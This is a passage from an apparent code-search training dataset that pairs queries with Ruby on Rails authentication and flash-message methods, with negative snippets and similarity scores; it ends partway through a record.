"def access_denied\n respond_to do |format|\n format.html do\n store_location\n redirect_to new_session_path\n end\n # format.any doesn't work in rails version < http://dev.rubyonrails.org/changeset/8987\n # Add any other API formats here. (Some browsers, notably IE6, send Accept: */* and trigger \n # the 'format.any' block incorrectly. See http://bit.ly/ie6_borken or http://bit.ly/ie6_borken2\n # for a workaround.)\n format.any(:json, :xml) do\n request_http_basic_authentication 'Web Password'\n end\n end\n end",
"def respond\n\t\tif http_auth?\n\t\t\t\thttp_auth\n\t\telse\n\t\t\t\tredirect\n\t\tend\n\tend",
"def access_denied\n respond_to do |format|\n format.html do\n session[:original_uri] = request.fullpath\n flash[:notice] = 'Please log in'\n redirect_to new_session_url\n end\n format.any(:json, :xml) do\n request_http_basic_authentication 'Web Password'\n end\n end\n end",
"def deny_access\n respond_to do |format|\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end",
"def authorize\n (render :json => { :error => \"Authentication error\" }, :status => :unauthorized and return) unless User.current.present?\n authorized ? true : deny_access\n end",
"def skip_authorization; end",
"def request_authorization!\n respond_to do |format|\n format.html do\n if request.xhr?\n request_authorization_for_xhr!\n elsif BookingSync::Engine.embedded\n request_authorization_for_embedded!\n else\n request_authorization_for_standalone!\n end\n end\n\n format.json do\n head :unauthorized\n end\n\n format.api_json do\n head :unauthorized\n end\n end\n end",
"def authenticate_user\n case request.format\n when /text\\/html/\n redirect_to new_session_path unless current_user\n when /application\\/json/\n head :unauthorized unless current_user\n end\n\n end",
"def require_api_user_or_token\n authenticate_user\n rescue AuthenticationError => e\n api_log_error(\"AuthenticationError: #{e.message}\")\n response.headers[\"Content-Type\"] = \"application/json\"\n error_message = ErrorSerializer.new(:unauthorized, e).serialize(true).to_json\n render :status => 401, :json => error_message\n log_api_response\n end",
"def require_login\n unless current_account\n if request.xhr?\n return respond_to do |format|\n format.js { render 'shared/login', layout: false, status: 401}\n end\n else\n if ['collect', 'uncollect'].include? action_name\n session[:redirect_to] = request.referer\n end\n authenticate_account!\n end\n end\n end",
"def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end",
"def require_login\n authorize_request || render_unathorized(\"Access denied\")\n end",
"def http_auth_header?\n scope_class.http_authenticatable && !request.xhr?\n end",
"def require_auth\n if session[:user_id]\n return true \n else\n render json: {message: \"not authenticated\"}, status: :forbidden\n return false\n end\n end",
"def access_denied\n respond_to do |format|\n format.html do\n store_location\n redirect_to new_session_path\n end\n format.any do\n request_http_basic_authentication 'Web Password'\n end\n end\n end",
"def api_authentication_required\n unauthorized unless current_user?\n end",
"def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end",
"def restricted_login!\n return true if authenticate_token_restricted\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def deny_access\n if request.xhr?\n if !flash[:ajax_error].blank?\n render text: flash[:ajax_error] \n else\n render text: \"You do not have sufficient permissions to perform this action.\"\n end\n else\n flash[:error] = \"You do not have sufficient permissions to perform this action.\"\n redirect_to :back\n end\n rescue\n redirect_to root_path\n end",
"def deny_access\n respond_to do |format|\n format.html {\n flash[:alert] = 'You are not authorized to perform this action'\n\n redirect_to root_path\n }\n\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end",
"def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end",
"def unauthorized\n render json: {error: 'Unauthorized'}, status: 401\n end",
"def authenticate\n return true if public_action?\n if request.format.json?\n render_json_unauthorized unless authenticate_token\n else\n authenticate_user!\n end\n end",
"def bounce_to_http_token()\n unless current_user\n request_http_token_authentication\n return\n end\n\n respond_to do |format|\n format.html do\n render 'session/forbidden', layout: false, status: :forbidden\n end\n format.json do\n render json: { error: \"You're not allowed to access that\" }\n end\n end\n end",
"def ignore_passive_login?\n (request.format.js? ||\n request.format.json? ||\n user_signed_in? ||\n action_name == 'account' ||\n cookies[:_nyulibraries_eshelf_passthru])\n end",
"def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n render json: { error: \"401\" }, status: :unauthorized\n end\n end",
"def authenticate\n# byebug\n return true if public_action?\n if request.format.json?\n authenticate_token || render_json_unauthorized\n else\n authenticate_user!\n end\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def access_denied\n respond_to do |format|\n format.html do\n # Was \"session[:original_uri] = request.request_uri\" but care Deprecation Warning\n # and to use fullpath, hence the use of \"request.url\"\n session[:original_uri] = request.url\n flash[:notice] = 'Please log in'\n redirect_to new_session_path\n end\n #(Some browsers, notably IE6, send Accept: */* and trigger\n # the 'format.any' block incorrectly.\n # See http://bit.ly/ie6_borken or http://bit.ly/ie6_borken2\n # for a workaround.)\n format.any(:json, :xml) do\n request_http_basic_authentication 'Web Password'\n end\n end\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { details: \"Access denied\" } ] }, status: :unauthorized\n end",
"def is_user_authenticate\n\n if request.xhr?\n render :js => \"window.location = '/'\" if current_user.nil?\n else\n redirect_to '/' if current_user.nil?\n end\n \n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def require_no_authentication\n result = handle_crossdomain_devise\n super if result && result.action == :noop\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def require_no_authentication\n # skip this!\n end",
"def require_authentication\r\n\r\n return true if session_user\r\n\r\n # per security audit, don't even show the login form if admin was requested...take 'em home\r\n if params[:controller] =~ /^admin/i\r\n logger.debug \"Admin request from unauthenticated session, sending to homepage.\" if logger.debug?\r\n redirect_to home_url\r\n else\r\n logger.debug \"Session not authenticated, sending to login screen.\" if logger.debug?\r\n # respond based on the type of request: normal, XHR, etc.\r\n if request.xhr?\r\n render :update do |page|\r\n page.redirect_to login_url(:protocol => 'https://')\r\n end\r\n else\r\n redirect_to login_url(:protocol => 'https://', :redirect_to => request.request_uri)\r\n end\r\n end\r\n\r\n # return false to prevent any other filters from executing\r\n false\r\n end",
"def api_auth\n api_response(403, \"Invalid Authorization header\") unless api_user\n end",
"def require_logged_in\n (render json: [\"You need to be logged in for this.\"], status: 401) unless logged_in?\n end",
"def protected!\n unless authorized?\n response['WWW-Authenticate'] = %(Basic realm=\"Restricted Area\")\n throw(:halt, [401, \"Not authorized\\n\"])\n end\n end",
"def access_denied\n\n\n respond_to do |accepts|\n accepts.html do\n\n store_return_to\n\n flash[:warning]=l(\"You'll need to login first\")\n\n\n redirect_to @login_url || \"/account/login\"\n\n\n end\n accepts.xml do\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text => \"Could't authenticate you\", :status => '401 Unauthorized'\n end\n\n\n end\n\n false\n end",
"def unauthorized\n render_json error: 'Access Not Authorized', status: :forbidden\n end",
"def authenticate\n logged_in? ? true : access_denied\nend",
"def access_denied\n if logged_in?\n flash[:notice] = I18n.t('application.not_authorized')\n respond_to do |f|\n f.html do\n unless request.xhr?\n redirect_to current_user.has_any_role? ? admin_nodes_path : root_path\n else\n render text: flash[:notice], status: :forbidden # Render HTML\n end\n end\n f.js do\n render :update do |page|\n page.redirect_to '/admin' # Redirect through JS\n end\n end\n f.json do\n render json: { error: flash[:notice] }.to_json, status: :forbidden\n end\n end\n else\n super\n end\n end",
"def access_denied\n store_location\n redirect_to root_path(:target => request.request_uri)\n #respond_to do |format|\n # format.json do\n # render :partial => \"json/response\",\n # :locals => {\n # :success => false,\n # :message => \"Authorization Required\",\n # :body => nil}\n # end\n # format.html do \n # redirect_to root_path#(:after_login => request.request_uri)\n # end\n #end\n end",
"def unauthorized\n head :unauthorized\n end",
"def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end",
"def access_denied\nrespond_to do |format|\nformat.html do\nstore_location\nredirect_to new_session_path\nend\nformat.any do\nrequest_http_basic_authentication 'Web Password'\nend\nend\nend"
] | [
"0.68999493",
"0.68994087",
"0.68672377",
"0.6758252",
"0.6719097",
"0.66592824",
"0.65523046",
"0.65301824",
"0.650388",
"0.6503533",
"0.6485819",
"0.6470028",
"0.6465198",
"0.6458805",
"0.64326113",
"0.64326113",
"0.6430438",
"0.6417581",
"0.64020264",
"0.6370617",
"0.63487417",
"0.63467866",
"0.6311723",
"0.6309687",
"0.6306949",
"0.63045466",
"0.6303475",
"0.6299476",
"0.6287259",
"0.6279944",
"0.6271964",
"0.62677664",
"0.62634414",
"0.62241614",
"0.6220178",
"0.62095773",
"0.6189318",
"0.61852014",
"0.61622065",
"0.6157849",
"0.6148242",
"0.6146989",
"0.61401486",
"0.6138787",
"0.61339915",
"0.61178994",
"0.6117031",
"0.6117031",
"0.6112526",
"0.61070335",
"0.6100869",
"0.60971445",
"0.60928833",
"0.60759866",
"0.60703635",
"0.6058446",
"0.604094",
"0.60372293",
"0.60348433",
"0.60312194",
"0.6029161",
"0.60258085",
"0.6024958",
"0.60154814",
"0.6009789",
"0.6006916",
"0.6002896",
"0.6000782",
"0.5997657",
"0.59852827",
"0.597667",
"0.59750676",
"0.59711593",
"0.5970248",
"0.59623116",
"0.595886",
"0.59533185",
"0.5952964",
"0.594815",
"0.5941663",
"0.59401286",
"0.59398884",
"0.59371454",
"0.5927505",
"0.5924605",
"0.59244347",
"0.59244347",
"0.5920228",
"0.59148777",
"0.5909894",
"0.59057474",
"0.5888641",
"0.588244",
"0.58790505",
"0.58781034",
"0.58752847",
"0.5867862",
"0.58548075",
"0.58511376",
"0.5848283"
] | 0.60816926 | 53 |
It doesn't make sense to send authenticate headers in AJAX requests or if the user disabled them. | def http_auth_header?; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end",
"def http_auth_header?\n Oath.config.http_authenticatable && !request.xhr?\n end",
"def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end",
"def request_authorization_for_xhr!\n render html: auto_submit_form_html, status: :unauthorized\n end",
"def authenticate\n respond_to do |format|\n format.js { render nothing: true, status: 401 if current_user.nil? }\n format.html { redirect_to root_url if current_user.nil? }\n end\n end",
"def ensure_authenticated_user\n render json: {message: 'Unauthorized'}, status: 401 unless current_user\n # head :unauthorized unless current_user\n end",
"def require_auth\n head :unauthorized unless current_user\n end",
"def access_only_for_ajax\r\n unless request.xhr?\r\n render :text => \"Here is an Ajax Service, regular request without security token are denied.\"\r\n return false\r\n end\r\n end",
"def authenticate\n render json: { error: 'Access Denied' }, status: 401 unless current_user\n end",
"def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"def render_unauthorized\n logger.debug \" *** UNAUTHORIZED REQUEST: '#{request.env['HTTP_AUTHORIZATION']}' ***\"\n self.headers['WWW-Authenticate'] = 'Token realm=\"Application\"'\n render json: {error: \"Bad credentials\"}, status: 401\n end",
"def http_auth?\n if request.xhr?\n Devise.http_authenticatable_on_xhr\n else\n !(request_format && is_navigational_format?)\n end\n end",
"def authenticate\n# byebug\n return true if public_action?\n if request.format.json?\n authenticate_token || render_json_unauthorized\n else\n authenticate_user!\n end\n end",
"def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end",
"def unauthenticated\n render_json status: :unauthorized\n end",
"def check_xhr_header\n return if request.xhr?\n\n render json: { error: 'forbidden' }, status: :forbidden\n end",
"def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"def http_auth?\n if request.xhr?\n Oath.config.http_authenticatable_on_xhr\n else\n !Oath::Lockdown.navigational_format?(request)\n end\n end",
"def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end",
"def authenticate!\n\t\t@current_user = AuthorizeApiRequest.call(request.headers).result\n\t\t# If unauthorized return an error to the front end\n\t\trender json: {error: 'Not Authorized'}, status: 401 unless @current_user\n\tend",
"def ensure_authenticated_user\r\n head :unauthorized unless current_user\r\n end",
"def not_authorised\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n error(401, 'Not authorised.')\n end",
"def http_auth_header?\n scope_class.http_authenticatable && !request.xhr?\n end",
"def http_authenticatable?; end",
"def ensure_authenticated_user\n puts \"#{!is_report_request}\"\n if !is_report_request\n head :unauthorized unless current_user\n end\n #head :unauthorized unless current_user\n end",
"def authenticate_current_user\n render json: {}, status: :unauthorized if get_current_user.nil?\n end",
"def handle_unverified_request\n reset_session\n render :nothing => true, :status => 401\n end",
"def is_authenticated\n render json:{}, status:204\n end",
"def protected!\n return if from_bitbooks?\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n halt 401, \"Not authorized\\n\"\nend",
"def authenticate_if_needed\n # Disable this extra authentication in test mode\n return true if Rails.env.test?\n if (is_hidden || is_staging) && !is_api_or_pdf\n authenticate_or_request_with_http_basic do |username, password|\n username == \"samvera\" && password == \"hyku\"\n end\n end\n end",
"def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end",
"def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end",
"def authenticate\n \t# get token from header\n \tauthentication_token = request.headers['token']\n \t@user = User.find_by_authentication_token authentication_token if authentication_token\n \t\n \tunless @user\n \t\trender json: {success: false, message: I18n.t('unauthorized'), data: {}}, status: :unauthorized\n \t\treturn false\n \tend\n end",
"def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end",
"def authenticate!\n # if the authentication header is an acceptible value\n if @env['HTTP_X_MY_API'] == 'foobar'\n user = { :id => 1, :name => \"some user\" }\n # warden doesn't care what the user is, so long as it's not nil.\n success! user, \"success\"\n end\n end",
"def authenticate\n return true if public_action?\n if request.format.json?\n render_json_unauthorized unless authenticate_token\n else\n authenticate_user!\n end\n end",
"def bounce_to_http_basic()\n unless current_user\n request_http_basic_authentication\n return\n end\n\n respond_to do |format|\n format.html do\n render 'session/forbidden', layout: false, status: :forbidden\n end\n format.json do\n render json: { error: \"You're not allowed to access that\" }\n end\n end\n end",
"def request_authorization!\n respond_to do |format|\n format.html do\n if request.xhr?\n request_authorization_for_xhr!\n elsif BookingSync::Engine.embedded\n request_authorization_for_embedded!\n else\n request_authorization_for_standalone!\n end\n end\n\n format.json do\n head :unauthorized\n end\n\n format.api_json do\n head :unauthorized\n end\n end\n end",
"def http_auth?; end",
"def api_auth\n api_response(403, \"Invalid Authorization header\") unless api_user\n end",
"def authenticate_request\n auth_header_token = request.headers[\"Authorization\"]\n @current_user = AuthorizeApiRequest.new(auth_header_token).call\n render json: { error: \"Not Authorized\" }, status: 401 unless @current_user\n end",
"def authenticate_user!\n render :json => { error: \"please log in\" }, :status => 401 unless current_user.id\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { detail: \"Access denied\" } ] }, status: 401\n end",
"def restrict_basic_auth\n request.env['HTTP_AUTHORIZATION'] = '' unless request.format.symbol.eql?(:json) || request.format.symbol.eql?(:xml)\n end",
"def require_login\n unless current_account\n if request.xhr?\n return respond_to do |format|\n format.js { render 'shared/login', layout: false, status: 401}\n end\n else\n if ['collect', 'uncollect'].include? action_name\n session[:redirect_to] = request.referer\n end\n authenticate_account!\n end\n end\n end",
"def require_auth\n if session[:user_id]\n return true \n else\n render json: {message: \"not authenticated\"}, status: :forbidden\n return false\n end\n end",
"def is_user_authenticate\n\n if request.xhr?\n render :js => \"window.location = '/'\" if current_user.nil?\n else\n redirect_to '/' if current_user.nil?\n end\n \n end",
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end",
"def authenticate_user\n case request.format\n when /text\\/html/\n redirect_to new_session_path unless current_user\n when /application\\/json/\n head :unauthorized unless current_user\n end\n\n end",
"def unauthorized\n render json: {error: 'Unauthorized'}, status: 401\n end",
"def bounce_to_http_token()\n unless current_user\n request_http_token_authentication\n return\n end\n\n respond_to do |format|\n format.html do\n render 'session/forbidden', layout: false, status: :forbidden\n end\n format.json do\n render json: { error: \"You're not allowed to access that\" }\n end\n end\n end",
"def require_authenticated_user\n return if authenticate_or_request_with_http_basic do |ident_string, secret_string|\n ident_string == 'karl' && secret_string.to_s.crypt(ident_string)\n end\n render :text => \"You must be logged in to view this site\", :layout => false, :status => status\n end",
"def require_no_authentication\n end",
"def authenticate\n case request.format\n when Mime::XML, Mime::JSON\n unless logged_in? && admin?\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == USER_NAME && password == PASSWORD\n end\n end\n else\n render_404 and return unless logged_in? && admin?\n end\n end",
"def require_logged_in\n (render json: [\"You need to be logged in for this.\"], status: 401) unless logged_in?\n end",
"def protected\n auth = request.headers['HTTP_AUTHORIZATION']\n\n if auth =~ /sekret/\n render json: {success: \"You're in!\"}\n else\n render json: {error: 'Unauthorized'}, status: 401\n end\n end",
"def unauthenticated\n end",
"def authenticate_user!\n unless current_user\n render :json => {'error' => 'authentication error'}, :status => 401\n end\n end",
"def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n render json: { error: \"401\" }, status: :unauthorized\n end\n end",
"def skip_authorization; end",
"def include_proxy_authorization_header; end",
"def restrict_access\n head :unauthorized and return false unless current_user\n end",
"def authenticate\n # puts _process_action_callbacks.map(&:filter)\n # if current_user\n # session['user_id'] = current_user.id\n # true\n # else\n # session[:return_to] = request.original_url\n # respond_to do |format|\n # format.html { redirect_to login_url }\n # format.any(:xml,:json) { request_http_basic_authentication }\n # end\n # false\n # end\n true\n end",
"def not_authorized\r\n render :file => 'public/401.html', :status => 401, :layout => false\r\n end",
"def authorized\n render json: {message: 'Please log in to continue'}, status: :unauthorized unless logged_in?\n end",
"def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end",
"def protected!(auth_method,request,session)\n unless ( signed_in? or authorized?(auth_method,request,session) )\n headers['WWW-Authenticate'] = 'Basic realm=\"Restricted Area\"'\n halt 401, \"Not authorized\\n\"\n end\n end",
"def unauthorized\n head :unauthorized\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def authorized\n render json: {message: 'Please log in'}, status: :unauthorized unless logged_in?\n end",
"def authorized\n render json: { message: 'Please log in'}, status: :unauthorized unless logged_in?\n end",
"def process_no_auth(request, response)\n response.start(401, true) do |head,out|\n head['WWW-Authenticate'] = 'NTLM'\n end\n end",
"def valid_for_http_auth?; end",
"def require_login!\n return true if authenticate_token\n render json: { errors: [ { details: \"Access denied\" } ] }, status: :unauthorized\n end",
"def request_authenticity_tokens; end",
"def authenticate\n\n # This suppresses the log in suggestion on subsequent\n # request if the user clicks \"No\"\n if params[:stay_anonymous]\n cookies[:shunt_hint] = 'anonymous'\n logger.info \"Suppressing log in suggestion\"\n redirect_to url_for(params.except!(:stay_anonymous))\n end\n\n if params[:public]\n cookies[:shunt_hint] = 'public'\n redirect_to url_for(params.except!(:public))\n end\n\n if should_force_authentication\n force_authentication\n end\n end",
"def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end",
"def require_auth\n (authorized? && authenticated?) || halt(401)\n end",
"def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end",
"def invalid_authentication\n render json: {error: 'Invalid Request'}, status: :unauthorized\n end",
"def is_authenticated?\n end",
"def authenticate_user!\n return if current_user\n render json: json_message(errors: 'Acceso denegado. Por favor ingresa.'), status: 401\n end",
"def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end",
"def add_authentication(_, request)\n request.headers['X-User-Email'] = self.class.api_user_email\n request.headers['X-User-Token'] = self.class.api_token\n end",
"def authenticate_request\n session[:requested_url] = request.fullpath\n\n url = logged_in? ? shibbolite.access_denied_url : shibbolite.login_url\n\n # redirect to the selected url\n respond_to do |format|\n format.html { redirect_to url }\n format.js { render js: \"window.location.assign('#{url}');\"}\n end\n end",
"def load_authlogic\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS '\n headers['Access-Control-Allow-Headers'] = 'Content-Type, Origin, Accept'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def authenticate_json_request\n #return true unless Rails.env.production?\n\n # TODO Turn this back after making it correctly check for API requests\n if false && APIKeysActive == true && Rails.env.production?\n # Is it safe to suppose that ALL JSON requests will be API requests?? -SR\n #we'll check the mime types once 1.0 is deprecated, and 2.0 servers both html and json - RJ\n\n #case request.format\n #when Mime::JSON\n #/^Token token=\"(.+?)\"$/ - This should be integrated in the near future because we want\n # to check for the Token token portion of the header value.\n regex = /^.*\\\"([\\w]+)\\\"$/.match(request.authorization)\n regex ||= Array.new #guarantees the array accessor works on the next line\n key = regex[1]\n render :json => OldApi.error(403, \"Invalid Api Key\"), :status => 403 and return unless ApiKey.exists?(key: key)\n #end\n end\n end",
"def login_using_basic_auth\n @request.env['HTTP_AUTHENTICATION'] = ActionController::HttpAuthentication::Basic.encode_credntials(\"\", \"\")\nend",
"def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end",
"def authenticate\n authenticate_token || render_unauthorized\nend",
"def protected!\n unless authorized?\n response['WWW-Authenticate'] = %(Basic realm=\"Restricted Area\")\n throw(:halt, [401, \"Not authorized\\n\"])\n end\n end",
"def login_required\n return if authorized?\n unauthorized! unless auth.provided?\n bad_request! unless auth.basic?\n unauthorized! unless authorize(*auth.credentials)\n @req.env['REMOTE_USER'] = auth.username\n end",
"def authenticate_client\r\n client_id = request.headers['client-id']\r\n client_secret = request.headers['client-secret']\r\n\r\n unless client_id == Rails.application.secrets.api_key && client_secret == Rails.application.secrets.api_secret\r\n render json: ErrorResponse.new(\r\n code: 401, message: 'Unauthorized Request'\r\n ), adapter: :json, status: :unauthorized\r\n nil\r\n end\r\n\r\n end",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend",
"def require_api_user_or_token\n authenticate_user\n rescue AuthenticationError => e\n api_log_error(\"AuthenticationError: #{e.message}\")\n response.headers[\"Content-Type\"] = \"application/json\"\n error_message = ErrorSerializer.new(:unauthorized, e).serialize(true).to_json\n render :status => 401, :json => error_message\n log_api_response\n end",
"def authenticate\n authenticated_session || render_unauthorized\n end",
"def unauthenticated\n { :json => {success: false, \n error: \"You must authenticate in order to make this request.\",\n status: \"401\"}, \n :status => \"401\" }\n end",
"def no_ajax # :nologin: :norobots:\n end"
] | [
"0.73233235",
"0.72833264",
"0.7272497",
"0.7224589",
"0.7162452",
"0.6994631",
"0.6991172",
"0.6961415",
"0.6902395",
"0.6864929",
"0.6855467",
"0.68313974",
"0.68074125",
"0.67993075",
"0.6794211",
"0.6782117",
"0.67774737",
"0.6776349",
"0.6762328",
"0.67448205",
"0.67394114",
"0.67273915",
"0.67172223",
"0.6667661",
"0.6645653",
"0.6642393",
"0.66368717",
"0.6635579",
"0.66333455",
"0.66305494",
"0.66026926",
"0.66026145",
"0.659376",
"0.6582488",
"0.65792596",
"0.6578741",
"0.6556477",
"0.65382713",
"0.6532239",
"0.65249074",
"0.65040046",
"0.65022755",
"0.64952844",
"0.64952844",
"0.64908445",
"0.6486511",
"0.6486238",
"0.6482443",
"0.64748716",
"0.6468665",
"0.64424145",
"0.64357734",
"0.64326066",
"0.64297944",
"0.6428419",
"0.64269847",
"0.64241385",
"0.6421328",
"0.64129096",
"0.640121",
"0.640014",
"0.6395972",
"0.63930595",
"0.6383925",
"0.6382296",
"0.63822657",
"0.63742423",
"0.6372228",
"0.636874",
"0.6366879",
"0.63600224",
"0.63592184",
"0.63545465",
"0.6342729",
"0.63415337",
"0.6337891",
"0.63347673",
"0.63302094",
"0.63259476",
"0.6323051",
"0.6319482",
"0.63184106",
"0.63114",
"0.63083845",
"0.6308277",
"0.63081485",
"0.62832904",
"0.62795985",
"0.6278044",
"0.62749267",
"0.6273159",
"0.6272272",
"0.6267705",
"0.62620604",
"0.62568843",
"0.62568206",
"0.625195",
"0.62445265",
"0.62437266",
"0.6240262"
] | 0.67113024 | 23 |
Check if flash messages should be emitted. Default is to do it on navigational formats | def is_flashing_format?; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flash_messages?; flash.any?; end",
"def is_flashing_format?\n false\n end",
"def flash_message?; flash.blank?; end",
"def is_flashing_format?\n request.respond_to?(:flash) && is_navigational_format?\n end",
"def set_flash\n flash[:messages]=@fired_events.find_all { |e| e.block_type.in? Message.descendant_types }.map do |e|\n {message:e.block.message_with_vars(@handler.options), message_type: e.block.message_type}\n end.compact\n if @fired_events.find { |e| e.block_type==\"TaskPassed\" }\n redirect_to play_game_url(game_id: @game.id)\n elsif @task.show_wrong_answer\n flash[:alert]=t(\"play.alert.no_events\")\n redirect_to play_show_url(game_id: @game.id, task_id: @task.id)\n else\n redirect_to play_show_url(game_id: @game.id, task_id: @task.id)\n end\n end",
"def set_flash_now?\n super || has_errors?\n end",
"def setup_flash\n [:warning, :error, :notice].each {|level| flash[level] ||= []}\n end",
"def flash_messages\n capture_haml do\n %w(notice alert).each do |msg|\n haml_tag :div, flash[msg.to_sym], :class => msg unless flash[msg.to_sym].blank?\n end\n end\n end",
"def check_flash\n @flash = session[:flash] if session[:flash]\n session[:flash] = nil\n end",
"def alerts\n #checking to see if params hash in flash msg has a value\n alert = (flash[:alert] || flash[:error] || flash[:notice])\n\n if alert\n alert_generator alert\n end\n end",
"def flash_ok_messages\n join_flash_messages :notice, :success, :info\n end",
"def flash_messages\n if params[:message]\n message params[:message]\n end\n\n flash_message_keys.each do |key|\n if params[key]\n message.send(key, params[key])\n end\n end\n\n render(:template => 'shared/flash_messages', :layout => false)\n end",
"def display_flash_message\n type = nil\n message = nil\n\n if flash[:error]\n type = 'error'\n message = flash[:error]\n elsif flash[:success]\n type = 'success'\n message = flash[:success]\n elsif flash[:info]\n type = 'info'\n message = flash[:info]\n end\n\n render 'partials/helpers/flash_message', message: message, type: type\n end",
"def show_flash\n [:notice, :error].collect do |status|\n %(<div id=\"#{status}\">#{flash[status]}</div>) unless flash[status].nil?\n end\n end",
"def flash_type\n [:error, :warning, :notice].each do |type|\n return type unless flash[type].blank?\n end\n end",
"def flash_should_persist?\n return false unless controller_name == 'bulk_uploads' && action_name == 'index'\n return false unless flash.present?\n\n begin\n flash.any? { |key, val| key == 'error' }\n rescue\n false\n end\n end",
"def flash_messages\n type_mappings = { :notice => \"info\", :alert => \"error\" }\n\n [:notice, :alert].inject(\"\") do |str, type|\n str << flash_message(type_mappings[type], flash[type]) if flash[type].present?\n str\n end.html_safe\n end",
